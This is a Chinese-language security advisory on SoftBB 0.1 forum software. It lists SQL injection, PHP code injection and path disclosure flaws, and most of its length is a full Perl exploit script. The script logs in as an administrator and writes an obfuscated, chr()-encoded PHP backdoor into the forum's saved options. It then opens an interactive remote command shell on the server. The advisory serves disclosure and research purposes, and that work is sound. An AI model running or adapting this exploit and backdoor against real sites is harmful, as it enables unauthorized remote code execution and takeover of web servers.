信息来源：绿盟科技
发布日期：2006-09-04
更新日期：2006-09-05
受影响系统：
SoftBB SoftBB <= 0.1
描述：
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SoftBB是一款基于WEB的论坛程序。
SoftBB v0.1中存在多个输入验证错误，如下：
1) 在SQL查询时没有正确的验证对/addmembre.php文件中groupe参数及/moveto.php文件中select参数的输入，允许攻击者执行SQL注入攻击。
2) 在PHP脚本中存储之前没有正确过滤对admin/save_opt.php中多个参数的输入，允许攻击者执行任意PHP代码。成功攻击可能要求管理员权限。
3) 对index.php中page参数的输入没有正确的处理空的或无效的参数，允许攻击者判断安装路径。
<*来源：DarkFig （
gmdarkfig@gmail.com）
链接：
http://acid-root.new.fr/advisories/10060904.txt
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/perl
#
# Affected.scr..: SoftBB 0.1
# Poc.ID........: 11060904
# Type..........: PHP code execution, SQL Injection, Full Path Disclosure
# Risk.level....: High
# Vendor.Status.: Unpatched
# Src.download..: softbb.be
# Poc.link......: acid-root.new.fr/poc/11060904.txt
# Advisory.link.: acid-root.new.fr/advisories/10060904.txt
# Credits.......: DarkFig (vuln/exploit/shellcode)
#
use Getopt::Long;
use HTTP::Cookies;
use HTTP::Request;
use HTTP::Request::Common "POST";
use HTTP::Response;
use LWP::UserAgent;
print STDOUT "\n+", '-' x 69, "+\n";
print STDOUT "| SoftBB 0.1 Remote PHP Code Execution Exploit |\n";
print STDOUT '+', '-' x 69, "+\n";
my($host,$path,$admin,$passwd,$proxh,$proxu,$proxp);
my $opt = GetOptions(
'host=s' => \$host,
'path=s' => \$path,
'admin=s' => \$admin,
'passwd=s' => \$passwd,
'proxh=s' => \$proxh,
'proxu=s' => \$proxu,
'proxp=s' => \$proxp);
if(!$host or !$admin or !$passwd) {
print STDOUT "| Usage: ./xx.pl --host=[www] --path=[/] --admin=[root] --passwd=[XD] |\n";
print STDOUT "| [Options] : --proxh=[host] --proxu=[username] --proxp=[password] ---|\n";
print STDOUT '+', '-' x 69, "+\n";
exit(0);
}
if($host !~ /http/) {$host = 'http://'.$host;}
if($proxh !~ /http/ && $proxh != '') {$proxh = 'http://'.$proxh.'/';}
if(!$path) {$path = '/';}
my $cc = HTTP::Cookies->new();
my $ua = LWP::UserAgent->new();
$ua->cookie_jar($cc);
$ua->agent('0xzilla');
$ua->timeout(30);
$ua->proxy(['http'] => $proxh) if $proxh;
my $re = POST $host.$path.'login.php', [
'pseudolog' => $admin,
'mdp' => $passwd,
'souvenir' => 'auto',
'Submit' => 'Connexion'
];
$re->proxy_authorization_basic($proxu, $proxp) if $proxp;
$ua->request($re);
my $re = $ua->get($host.$path.'admin/gest_opt.php');
if($re->content =~ /Administration/) {
print STDOUT " [+]Login successful";} else {
print STDOUT " [-]Error during login";
print STDOUT '+', '-' x 69, "+\n";
exit(0);}
if($re->content =~ /<input type="text" name="nomduforum" value="(.*?)" class="bouton" \/>/) {
$conf[0] = $1;} else {
$conf[0] = 'Titre';}
if($re->content =~ /<input type="text" name="mailadmin" value="(.*?)" class="bouton" \/>/) {
$conf[1] = $1; } else {
$conf[1] = '
root@you.com';}
# Bypass magic_quotes_gpc and register_globals limit
# if(isset($_GET['cmd'])){system(stripslashes($_GET['cmd']));} <- eval()
my $shcode = "\n".'$shcode = chr(0x69).chr(0x66).chr(0x28).chr(0x69).chr(0x73).chr(0x73).chr(0x65);';
$shcode .= "\n".'$shcode .= chr(0x74).chr(0x28).chr(0x24).chr(0x5F).chr(0x47).chr(0x45).chr(0x54);';
$shcode .= "\n".'$shcode .= chr(0x5B).chr(0x27).chr(0x63).chr(0x6D).chr(0x64).chr(0x27).chr(0x5D);';
$shcode .= "\n".'$shcode .= chr(0x29).chr(0x29).chr(0x7B).chr(0x73).chr(0x79).chr(0x73).chr(0x74);';
$shcode .= "\n".'$shcode .= chr(0x65).chr(0x6D).chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69);';
$shcode .= "\n".'$shcode .= chr(0x70).chr(0x73).chr(0x6C).chr(0x61).chr(0x73).chr(0x68).chr(0x65);';
$shcode .= "\n".'$shcode .= chr(0x73).chr(0x28).chr(0x24).chr(0x5F).chr(0x47).chr(0x45).chr(0x54);';
$shcode .= "\n".'$shcode .= chr(0x5B).chr(0x27).chr(0x63).chr(0x6D).chr(0x64).chr(0x27).chr(0x5D);';
$shcode .= "\n".'$shcode .= chr(0x29).chr(0x29).chr(0x3B).chr(0x7D).chr(0x0D).chr(0x0A);';
$shcode .= "\n".'eval($shcode);//';
my $re = POST $host.$path.'admin/save_opt.php', [
'nomduforum' => $conf[0], 'url' => $host.$path,
'mailadmin' => $conf[1], 'smtp' => '',
'nbsondage' => 0, 'gzip' => 'false',
'autmodpseudo' => 'false', 'afflistdelauto' => 'true',
'autorisationsign' => 'true', 'bbcodesign' => 'true',
'ipaff' => 'true', 'affreprapide' => 'false',
'mailconf' => 'false', 'cache_forum' => "false; $shcode",
'lockforum' => 'false', 'message_de_lock' => '',
'lmax' => 0, 'hmax' => 0,
'pmax' => 0, 'tmpfreepost' => 0,
'membreparpage' => 0, 'postparpage' => 0,
'postparpageaff' => 0, 'Submit' => 'Enregistrer+les+options',
];
my $da = $ua->request($re);
if($da->content =~ /Enregistrement/) {
print STDOUT "\n [+]Shellcode should be written !";}
while () {
print STDOUT "\n \$sh: ";
chomp($cmd = <STDIN>);
my $da = $ua->get($host.$path."info_options.php?cmd=$cmd");
print STDOUT $da->content;
if($cmd eq "exit") {
print STDOUT '+', '-' x 69, "+\n";
exit(0);}
}
建议：
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厂商补丁：
SoftBB
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.softbb.be/
